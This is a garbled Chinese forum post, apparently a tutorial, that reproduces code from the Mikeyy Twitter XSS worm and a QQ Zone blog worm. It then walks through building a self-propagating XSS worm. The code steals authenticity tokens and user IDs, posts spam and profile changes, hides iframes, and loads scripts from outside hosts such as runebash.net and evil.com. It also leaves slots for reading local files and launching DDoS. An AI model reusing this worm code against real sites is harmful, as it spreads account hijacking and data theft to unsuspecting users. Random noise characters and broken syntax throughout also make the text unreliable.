: G) R8 j8 j( r0 q" ? 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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) `8 H( h" q8 f; N 8. catch(e) { _0x6687x2=false; }; }; }; : \9 B o) t: r: n' {
复制代码第六版: 1. function wait() { + w+ [ }! S! I
) O+ N3 X" B0 m5 q% O$ s 2. var content = document.documentElement.innerHTML;
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, p8 S" a! }4 t3 a3 f, U; L 3. var tmp_cookie=document.cookie; , @% t9 m' G' \
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4. var tmp_posted=tmp_cookie.match(/posted/); ; A9 Q9 D( L) e6 }& P+ @
1 Z- z' c" b) o 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6 I+ E) B, e7 [ 6. var authtoken=authreg.exec(content); 5 a' i. x; B; s
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7. var authtoken=authtoken[1]; 5 p8 v- X# {1 c' O& F) {$ g
% W( V5 b1 Z3 X! X3 d9 ] c/ y 8. var randomUpdate= new Array();
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7 |/ K/ R3 T o2 E" I: @! y9 p T 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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' X6 T% d8 q+ i: [3 r1 r 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; ! N) l1 ~ e* O8 y
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 3 g4 C6 n; A6 W8 a+ q% r
+ T- M2 E0 z. P3 c 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; : H- G5 i9 O: s4 I
: a2 b6 H& `: r' Z( s2 i 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 8 ?. O! a3 s+ W* N2 H) h6 Q
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 5 N [, e1 \7 E1 `, D: S
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 6 F- t% q& m! z# Z( O
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 5 p1 A6 H2 ~8 p# |2 P) n% k( ^- {- N
5 Q, ^4 K+ J0 l# r+ M4 l, i 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 3 J1 H. L; u5 w4 u3 R9 b% S3 N
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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- r0 y& a' v% |/ u$ n! h/ G 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; L3 E+ D. ^; A% R& Q
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; + A$ Q0 N7 D! {0 l
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3 k; A% H- N3 [ 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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* g. d/ K) U- a% d$ n. B0 E; d 26. var updateEncode=urlencode(randomUpdate[genRand]);
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27. ) \0 @: X: L$ B
$ a/ G9 [& }; I" y 28. var ajaxConn= new XHConn(); ( _3 j/ p& u' n# f' i0 |: u
( C* ^& j& O$ Y, x 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 3 M8 ~- h8 {, n+ o4 Z' U5 g
8 Y7 l9 p, b& g; ] 30. var _0xf81bx1c="Mikeyy";
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7 Y! I$ X# W$ V8 g) x& {5 R 31. var updateEncode=urlencode(_0xf81bx1c); 0 s% R$ h1 c1 L2 c& D/ H/ _) ~
* S0 R! A- p, B7 D) w 32. var ajaxConn1= new XHConn(); 1 ?( {- x# Z% h' Q7 q
6 G$ q' p! d5 s* u j. O 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 1 r S* v! X1 T3 @) X- A
4 G" C3 T- ]$ N, O' ^ 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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35. var XSS=urlencode(genXSS);
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5 @! L) H% w* E j; v/ y 36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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38. 2 o) G( I. L9 e" Z& E! s
( S' T m! C, p; _1 B 39. } ; " k8 [6 C; e8 O2 h! i8 y
! r* r% R5 [0 j, _ 40. setTimeout(wait(),5250);
y: H8 K8 \6 K+ m3 l复制代码QQ空间XSSfunction killErrors() {return true;}- j3 s: z* }3 a8 E2 A
: d z, h3 i0 ]+ _9 Awindow.onerror=killErrors;( v6 _8 L* ~! f# D8 E
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7 d7 a4 Y! v# ?3 q" ]: P, q! ~var shendu;shendu=4;
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//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";7 w' v$ J2 Z2 I% s# u8 z$ ?1 Y, }3 @: E
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var myblogurl=new Array();var myblogid=new Array();6 f# W8 C. R. h7 k! ~( n( ?
4 H$ J7 j$ D( ~: l var gurl=document.location.href;' L' Y3 C9 i& K) [1 P; w5 Q
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var gurle=gurl.indexOf("com/");9 E1 W& R6 g% x
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gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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5 w* _) k7 {" P& ~ var cookieS=visitorID.indexOf("g_iLoginUin = ");
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/ a8 M# p6 _% O4 {/ t, A3 f visitorID=visitorID.substring(cookieS+14);8 D# m- C1 I2 `! Y
: ~2 b4 U: j9 `9 g0 i& I cookieS=visitorID.indexOf(","); G' l9 x2 t# ?) R( ?5 u; ^
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visitorID=visitorID.substring(0,cookieS);2 {( P0 P* s6 z1 d" s) w* c N
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get_my_blog(visitorID);
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DOshuamy();
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( v, A, G. U3 x. Z" S# ?0 h//挂马" G, X! j6 E$ V; K
2 Q" N7 Z6 H6 lfunction DOshuamy(){! l( p5 F+ p# u& U+ z% I7 q
$ q& X |: z/ _2 q6 uvar ssr=document.getElementById("veryTitle");; m f# y! w% V. u
9 j/ O4 K& `5 L! [ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?, ?# ?1 r3 C8 ~5 r9 I
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function get_my_blog(visitorID){
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7 [* `3 ~ d! [4 C userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1"; V" T- n/ Q& n1 |
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象3 l$ X" v4 ]' Y, ^
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if(xhr){ //成功就执行下面的" L8 n5 ]$ d+ O5 K. T7 h
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL5 O" c; X( }5 k; y5 [" f! B
7 u0 S& k) o" f! i6 h# ~ xhr.send();guest=xhr.responseText;
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4 R4 X. ?9 h) | get_my_blogurl(guest); //执行这个函数
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//这里似乎是判断没有登录的
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4 H ?) ]& H @5 G9 `1 ~' W1 Pfunction get_my_blogurl(guest){0 i% o/ c* d' h- W' p0 h( r
5 X, T0 u1 M4 |/ U# Y# u! s var mybloglist=guest;4 _: E% Y, `; a" B, _: X- i2 U+ j6 w
* H& K* H& N( @1 d9 O. H3 h var myurls;var blogids;var blogide;* ~2 R4 |7 t8 {2 ~. q, k+ q
* i5 X- _- D! k! g! Q% K# F# h) ? for(i=0;i<shendu;i++){
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2 m# a' k" m' M7 }) O# E myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的, k. y) Z8 A3 c" s
- r/ N6 g k8 S3 j7 K8 i mybloglist=mybloglist.substring(myurls+11);) a% v4 O" L+ D- W
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myurls=mybloglist.indexOf(')');
, }2 C6 v! r, e7 Z& g5 B9 l% P4 C) r( F5 {
myblogid=mybloglist.substring(0,myurls);( C' n$ ^% l% p$ N4 k" m
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}else{break;}2 F. L- g' D/ |* [
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get_my_testself(); //执行这个函数
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7 s3 [1 ?# e( q* |//这里往哪跳就不知道了
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function get_my_testself(){
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for(i=0;i<myblogid.length;i++){ //获得blogid的值/ u0 e$ I, Y, Y3 M" ]8 a
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var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
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; N$ O# |7 U! x8 O/ p# m A( i9 Q var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
1 }5 K0 j; H, i8 @3 r( l
+ h8 T% c. p& G$ `7 F) I7 o* E if(xhr2){ //如果成功# Q9 P: ]! m9 h* o6 z% w7 H
: A, z! `7 w) ?) J; _ xhr2.open("GET",url,false); //打开上面的那个url0 O% R( p# N6 h5 [" r
+ l: j+ W/ t9 X% q# Z; r# ~
xhr2.send();. A9 I$ ^ c! C4 h" Y! _% _% h
* L/ z" K9 u! b$ L7 g
guest2=xhr2.responseText;
/ K. x) w" t x3 ]
; j- I% l( B' y7 q var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
. ]; w+ J' u6 {. v5 Z- ~5 A) M0 L u. {
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
2 ^2 {* d. y7 b% u7 K" v9 i: o) w! Y1 N. h
if(mycheckmydoit!="-1"){ //返回-1则代表没找到1 q4 P( S. ]4 g( v+ b
! R# W. o, N9 G& A+ Q, J( } targetblogurlid=myblogid;
9 {9 b+ U& r% A/ B
- t$ @4 l0 ~' @) K6 I8 K add_jsdel(visitorID,targetblogurlid,gurl); //执行它; h8 i0 x4 i" Q% C
% u7 n: z: H+ d. d( d/ Y6 W break;
( r6 v; L3 O1 F& S7 ~' B' V) S0 L+ F) h& r# z L$ h
}' H9 a4 [1 I' n
" u* {4 b! k- G$ g! \3 h, ~# Z0 C
if(mycheckit=="-1"){
3 o, J/ ?1 ~( B- F, v2 p1 j
1 l$ t4 @/ n# B& U0 \ targetblogurlid=myblogid;0 b0 I1 U5 p/ j, q6 F7 C
5 j4 q1 h# K! U add_js(visitorID,targetblogurlid,gurl); //执行它" s$ h7 ]" y8 z% }! k& p' F* z
" d' e3 g0 t1 U" k4 u! r4 j break;
# Q7 f4 c6 f) h9 v% v8 L k h u0 A$ u s: J5 b
}# n$ _/ X4 n% V2 }4 d( p3 l; v Z
/ w- ?2 z( Y4 V; @" ^
} 6 ^& }0 _& f8 E3 U) p% c
* J* f* `) G. D1 s% Z5 i
}
8 g& P* z4 J/ K
4 L. O; v( ~: l}8 T5 ~& B. V3 I* g7 W: P% k7 j" h& O
4 Q6 N, Y) o6 r% b) |. N" S
/ D. R- ]: L: V4 I2 v R* v; W, p
" M. c) I6 f. Y( ^( |1 L9 p//--------------------------------------
/ b) I1 i$ ]3 p# l8 D
, L' C: Q$ j! N. Z2 m3 G4 g//根据浏览器创建一个XMLHttpRequest对象
# j& n& Z8 c$ q d+ j$ m' w/ ^& y$ o( I2 r
function createXMLHttpRequest(){
4 W; `! q$ d5 ^; g: |; J
* t4 T! c' W' l* N& H var XMLhttpObject=null; ! q# d4 f8 e; F
1 j' Z: x3 H% T( s/ } if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
/ V) z Z' V: N0 ~+ G" a3 P* u6 A( ^* J! T
else
8 F" h* q! Z3 v( m1 T$ A1 e2 Z+ w; y i
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
+ B9 i, m& T: w2 i- K7 I+ H% w' g, b8 o
for(var i=0;i<MSXML.length;i++)
" r( @+ a6 U. ]+ v) a( n$ w5 n: X6 o9 h/ Y( f
{ , @9 a- C8 x! f2 k
3 K+ ^1 ]8 o b) ~8 m- [) E# J try
. g+ O) _, T2 ]2 P) u: m a+ f% j' O5 L
{
* q8 X2 @8 G$ ^; [
7 b+ i8 A( Q0 ^, t XMLhttpObject=new ActiveXObject(MSXML); o# M, {' I- Q$ v( ^" x) ~
% v: v. a$ E+ x: s
break;
. m3 D+ b. Z2 I8 r! U# Y. F. j
1 @5 y) G3 x7 T- _4 m+ b } 1 V7 z8 v' ? P1 @4 }# m
% r% C( u9 n8 h e; M catch (ex) { / N/ F" Z$ u3 \+ i
+ L! U9 z3 o0 B! b" C$ Q
}
5 a6 R7 O7 \; o. g' V1 G5 c9 g
4 x8 q3 d; t5 r2 R, a; J! ^1 N4 [ }
7 P' i' H" S6 U' V# s1 R. y M, `- [) @# c8 B7 M7 n
}
# }& T, O' e0 ?) {
! F6 u; a b% h2 W! qreturn XMLhttpObject;, E! M6 i& r" b& k
9 n$ X) D0 ~) U* K) f} # L, V" d: M: }! w" D, D
[/ C% L2 |5 ~! }; k8 }" }* b: C9 I8 ~# [
. G0 b- q+ M. n; x# v
//这里就是感染部分了: _9 d6 W1 o; k$ B& ?8 N2 c1 m: w
2 e# j+ E( N, E8 X7 p
function add_js(visitorID,targetblogurlid,gurl){1 S# {, ^/ p* L$ `
3 G' U+ `+ G i7 C* ]) V& j! A8 mvar s2=document.createElement('script');
7 G) J# m, ~: V4 z9 j. O9 K* t$ {
) c8 v# `6 e8 G( hs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();- E. z; Y' a( u1 y; ?/ l
9 D, y# `' k/ j( b! x# H Vs2.type='text/javascript';- ?0 j. g. U% p4 p
6 ?0 R' R0 ?+ G% E- g! G- x- `document.getElementsByTagName('head').item(0).appendChild(s2);
0 ~$ N8 n+ b- {( N( t+ K2 ~. E: p+ i8 `3 n
}; Y) h/ Y" Q m, u1 S; z' s; O
7 Q, F' U4 R# q- H) ^1 }. r
9 Z0 r1 q. q" F# O7 [1 ^0 D8 j! o, z& n4 R8 t. O$ J* R
function add_jsdel(visitorID,targetblogurlid,gurl){) Q/ Z L; ], M; I$ S# E8 ^5 t7 B; u
3 R# Y# M5 |$ `
var s2=document.createElement('script');
8 V9 D6 s& H" a7 d& v5 m$ R8 h! d! {4 C6 \ ]3 E
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
: j5 j* L/ r1 C A& i+ S* L' @) Z
! v! u0 G, J/ _2 O. Xs2.type='text/javascript';
1 G2 E) q5 Z) g0 u. z7 u
0 a1 h0 y3 M" R8 c X3 s( m1 Bdocument.getElementsByTagName('head').item(0).appendChild(s2);
E+ _3 I: a8 `
* h1 ]5 Z" @7 G+ p+ T3 @}
3 X0 n8 r G7 {7 w D9 h( c复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:$ v _" v7 J/ d, R" R/ }
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)# j7 d* x& ~1 _2 d0 Y
, V& w2 `- b8 c4 x6 f6 s7 A/ j2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)1 J" T" ?& f- R- d/ l
1 ]; s* B3 g4 ?/ T: j6 }; l
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
/ N6 M% P" S0 L4 P
) e' u1 a: m/ A) C$ K5 P3 v
0 l; l0 a! U: L0 o* H2 D: X4 E下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.0 G# U6 n; s" D" Y
4 x3 z9 C% h+ T$ |. p首先,自然是判断不同浏览器,创建不同的对象var request = false;
. o. T6 K, O& a2 s! C; P$ y8 w. C* K- I! t# e7 U M
if(window.XMLHttpRequest) {) K0 W% J4 V& i, B% x& t* x% A
# P$ j' q% }! i0 l" p" c% ~# `& M8 orequest = new XMLHttpRequest();
7 p& a& n& ?. j: k1 R0 c4 }& z/ T# G: L! c: A7 O
if(request.overrideMimeType) {
! s* R$ E) Z6 V; @
/ j! a0 o& D h% y$ irequest.overrideMimeType('text/xml');+ d5 R) |& B8 C
6 P% @# s/ ^% c5 d
}
5 W/ c% A ?. [: G$ x$ G4 S) y9 d& p4 c5 ~$ @! y2 e6 ` d
} else if(window.ActiveXObject) {
% R; c) @8 m+ f# F9 A; |2 D# |% x2 m5 t1 Q* I% X0 V+ ~3 i; c. o0 { a
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
% D, x* ?" J+ o& l- o% t+ d1 v
0 k- ?& S( Q( t+ B( X" yfor(var i=0; i<versions.length; i++) {
. c) e& q7 e' N* n- d' C1 o" D/ T5 z4 z' j
try {: G3 Y8 {! e( Q0 ]
; V# c' D9 ~) f9 Q7 n( Jrequest = new ActiveXObject(versions);
% N! K2 W# B8 E. @
. O! B5 e# ~; H8 j+ x1 \2 Z% c} catch(e) {}/ E) B, N6 i6 ~/ d- |" \
& E: f! q' H8 O6 A( f; Z}- s* ^5 x/ X! e6 q' V; @5 x! c2 _
. v+ m, T, S3 J' l+ l}
6 R* B* {2 ~# ?7 C$ v/ }1 V7 |* X( [+ K, q" A' Q5 _. V. h! v
xmlHttpReq=request;
" W( L& ?8 [5 n复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){# N& D) s$ u- U
" e9 U2 V: r, |4 u! Y N
var Browser_Name=navigator.appName;
. a5 i0 g6 Q) X' n0 w, @. [) H) N% [* g% p q
var Browser_Version=parseFloat(navigator.appVersion);+ e' A5 E( A& x
% \( e" Z- r; |; h: ] z4 ~
var Browser_Agent=navigator.userAgent;1 ?1 L& V5 b- O+ e3 Z
$ |$ c5 Z1 a6 X. s
, ?: ^' C$ t# _
* H0 U' H! R3 ]5 _5 ^$ \' R9 a! K- Y var Actual_Version,Actual_Name;
, Q! Y5 }& Z! {9 `7 A6 f% c) ^! ] R& A7 Q5 F
; V( [1 r, x" S
7 _6 r6 n5 R7 h9 x var is_IE=(Browser_Name=="Microsoft Internet Explorer");6 b' H: o/ }6 Y4 ?4 P1 t
7 s5 I1 C8 a. [! O5 T9 w
var is_NN=(Browser_Name=="Netscape");! ^: Y% S' ^- \; O( p( y8 v
5 q& q9 q: Z. D. \6 P# y8 u var is_Ch=(Browser_Name=="Chrome");
( {9 J2 V2 @' t2 Q4 @3 T
9 _/ T# S8 z8 ~9 y9 c, ^ 3 q. Q' Y$ I/ Q
$ K% w% K; h# v u if(is_NN){
% t9 G; _2 Z* b; d9 Z+ T7 `& P* y8 S5 e; n0 O
if(Browser_Version>=5.0){
0 C3 q I Z# Z, H% _+ T, U z, x2 `- s) t: w# Z
var Split_Sign=Browser_Agent.lastIndexOf("/");4 r1 F: y# b) q: K% f: l
- Z) O+ @/ D) |1 z
var Version=Browser_Agent.indexOf(" ",Split_Sign);
# w5 z. Z, X1 C1 f
' q3 f! d3 Q' x var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
5 R" B8 j7 A, j- B7 u
, [- [! P6 Y) [9 T8 U% U' s/ I" K4 B" R# D. _
) N9 y# f7 f* J8 Z6 o Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
1 z2 I6 f+ ~3 l3 g: u E
' t4 ^- \7 e V1 |0 F4 L* d Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
% p4 b" O! |% v7 _+ E4 ` E$ q" T
, G4 S6 y* w: V; K7 P/ Z9 y9 r, O }
8 P8 ~6 u9 ]7 G) ~- c) F0 K. C4 ]6 B, y- e7 ^+ A+ V
else{
- R+ _- }; g; A
, h3 ]! I8 a- r3 z Actual_Version=Browser_Version;6 h0 C( R% k. ?% x
' }; o" n, z, E% H. v Actual_Name=Browser_Name;1 I, F- A7 a- W$ m! z% V, A! L
8 v! o. X2 b/ R }) p- G0 q$ J2 y) b
. j5 {+ P; f7 t( [& y% | }
9 X; W, i% p2 w. k) c3 i
. w$ Y& ?; X, ` else if(is_IE){" e5 P7 A& X) H2 b, j' A5 M$ N
3 m( V* Y+ ?, K& d+ W
var Version_Start=Browser_Agent.indexOf("MSIE");
! l3 z. D( I9 o" h( X( g# |9 {
- }3 b x; P% Z3 F; f- W var Version_End=Browser_Agent.indexOf(";",Version_Start);
# O& n! q6 m. }# ?9 U1 g9 f8 E3 T8 K: w& ]! F7 O: d2 c6 B
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)' c0 k) [% ^1 a9 w' V
! ]! D) n, O5 z* c
Actual_Name=Browser_Name;
( n/ i* E: E2 b. f0 B0 }+ o0 i; `# ]" D' F3 P' R/ v5 f
2 [0 M5 N0 c" L6 P2 [* C
: D* E" d" A+ v1 J( k9 n if(Browser_Agent.indexOf("Maxthon")!=-1){
% d1 p' A( p" @; H, M1 y
1 r- p/ f" h% J2 T' U6 H Actual_Name+="(Maxthon)";8 ~# x- F) R2 r( k* @
; Z1 E; \( x/ ~
}7 w+ P6 d' a5 ]& h* \2 `, P2 i% i. ?
* n1 W* a( n O7 b: l! \0 Y else if(Browser_Agent.indexOf("Opera")!=-1){" w. X) e; Y U9 j! j
/ B9 Y( J( n* Z$ ]
Actual_Name="Opera";
0 v' n# A \* e. f# I7 d% `* `; C, v) }2 P+ v o6 q t, |
var tempstart=Browser_Agent.indexOf("Opera");
4 c6 ]3 @8 b4 n( X
4 @; q# Q. D! x! }& Z var tempend=Browser_Agent.length;
3 y* |* l" ?& O
/ N. m& y- h7 t ^; M7 a Actual_Version=Browser_Agent.substring(tempstart+6,tempend), \4 k y& F9 H" x
! E V0 u% y' b* n/ \: j
}; a7 E; s- t z+ j" f4 l: A
: v( o1 u5 ^5 i% c1 Y
}! f' S- x# D, f
1 S" k- x* `6 H) Z% s else if(is_Ch){$ }: K$ z0 }$ m5 ^8 C; Z, l7 y/ `
3 | `# o! d/ G& k3 R7 N
var Version_Start=Browser_Agent.indexOf("Chrome");
2 }% v3 w- K6 H( x0 b) L
A( V0 |/ n! O0 G x m var Version_End=Browser_Agent.indexOf(";",Version_Start);
3 R5 Z, s: t ^. f
( l$ p. N$ y- t5 Q/ w0 v' n Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
3 \+ p0 T7 `' {. ^3 X
% _) x. u) b& v3 R* _0 g+ c, t ~ Actual_Name=Browser_Name;" r$ B3 R/ e5 o `3 r7 N
2 P" t1 T6 N- N# q
x F! c, A$ |( V7 ?' ]. v0 v+ n) K
, M/ k5 k4 i" S0 C8 y' c if(Browser_Agent.indexOf("Maxthon")!=-1){
/ O; H6 `0 E3 G+ H7 l' P- E8 I! p! }. y7 k- V- b( q# l$ K# S5 {
Actual_Name+="(Maxthon)";
/ |1 S3 E4 ]8 T+ ?0 C% s' V" Z- C Y, ?1 E6 t( V
}
# e! E7 [5 D9 l- E$ ^+ Q, s3 C. ~% t4 I7 Q3 I8 x/ u
else if(Browser_Agent.indexOf("Opera")!=-1){$ s4 T1 _ E6 g! T5 Y; `* a. o% r
" K! H' y' h+ e: L Actual_Name="Opera";
; y% a6 p5 y( V3 Q0 I
$ N6 r% v: c0 o9 Q5 F" |4 C var tempstart=Browser_Agent.indexOf("Opera");
) U! o( {2 a+ C7 w/ n/ G
0 \# {, F. G+ A" { h var tempend=Browser_Agent.length;
1 ?# d; O# b( m: w7 E$ \5 g0 c
$ s9 z' s$ ^) Q! f8 \ Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
2 ?; x4 ^" }% g+ z3 p* M. ]9 @& Y V
2 c2 S+ N4 y+ R; u- u2 r$ X }
; ?. |6 I% O4 Z" j9 t# l0 W* g" f! S2 ^$ P
}
; ?, g4 @5 c" N" @) e5 s, o9 J& [, R& i- J2 J j
else{$ N8 w, n. _- o! ]& J5 I
! Y: w" @' F& [ Actual_Name="Unknown Navigator"$ F% Q7 r3 ` Q, V, m
6 Q |) q$ K# [3 m
Actual_Version="Unknown Version"
; }+ U: `0 a# ^: e5 e) k( W( {1 }8 ?3 s. Y; ]1 y
}' L. h" v4 Z* E9 w. Y( S3 e
0 U. c8 A8 u( d! [8 c7 C0 D
' \5 { E2 Y2 O" ^# U( |: R" X, q( S1 ~) k
navigator.Actual_Name=Actual_Name;2 k8 C$ w( \+ s. v- Q
$ X( P) j5 G9 i9 x' [: e' Z1 b
navigator.Actual_Version=Actual_Version;7 g% q7 s/ X& ?! K" W: C7 j- N4 ^
6 V8 _7 T- s" Y6 ~: O2 q
5 i6 {2 R" h, \" ?
/ f, y& R) P! n" F! Z2 m this.Name=Actual_Name;' ^1 i2 j2 t% ^, j; U
+ ?+ m) V6 z* Q$ z2 t this.Version=Actual_Version;
7 u( y0 N5 l3 L# w5 m) s* P: L/ B- K0 X D& q
}0 G+ o* o8 S, ^4 Y4 x
+ U8 l$ @( ~1 b" Y+ u$ O$ ` browserinfo();" G7 ^3 Q- V# p3 _* B
% Z, Q: c0 ^1 Y- U
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
& T/ h" E" r# c2 R7 c; R+ z, X1 h
* M, b3 v, z" r! ` if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}( I1 C1 Q3 w$ p
/ A: h' H0 r: W if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
) V! R6 \4 I5 ^- e% k9 j* p" ?7 z1 P( @& d6 k# z
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}; X2 A, |& G0 |2 q+ B
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码" ^, {0 t" c. E
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ b/ [% {" f5 B复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.. Y6 W2 D0 i% n0 b
r' ^* ^! U& F$ Y0 M
xmlHttpReq.send(null);, }: L$ z9 j! j6 T
( |; r5 M+ t V5 X. l, Yvar resource = xmlHttpReq.responseText;. i4 A4 s }' X$ N# I8 X: c
3 {- t, o; n9 a1 @, Z
var id=0;var result;
8 o/ n& z2 u5 D, [8 W+ u, b5 P7 b0 u; s' ]$ K, ]' W1 w$ b
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
; f, L$ |; {; g; Y3 ?: {+ w' m* m6 E$ O4 X; B
while ((result = patt.exec(resource)) != null) {
3 |" C' k; H1 M3 {) c% t% z( w% c# ], n" R- X7 f& U& G
id++;" M4 w: W6 k' n6 |1 }) P
6 S' w$ b R+ P5 u# ~2 B: |3 g}- ]6 ]5 U2 O7 @ p+ B
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
8 h& G% F; p' {! a
/ s: }3 b2 G; o( S& [7 @/ p; hno=resource.search(/my name is/);
0 d: ]" I6 M) [6 t" p, W
. m/ L% X' G2 E6 O% p1 d' ~var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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: b9 q/ U. W7 F5 `, V% D4 @var post="wd="+wd;
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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: _, m$ |% ~( v2 ~3 ExmlHttpReq.send(post);
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}
5 y# L( h( y/ Y6 a' L6 m C复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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$ u; [6 e' |) R' x9 X, Dvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
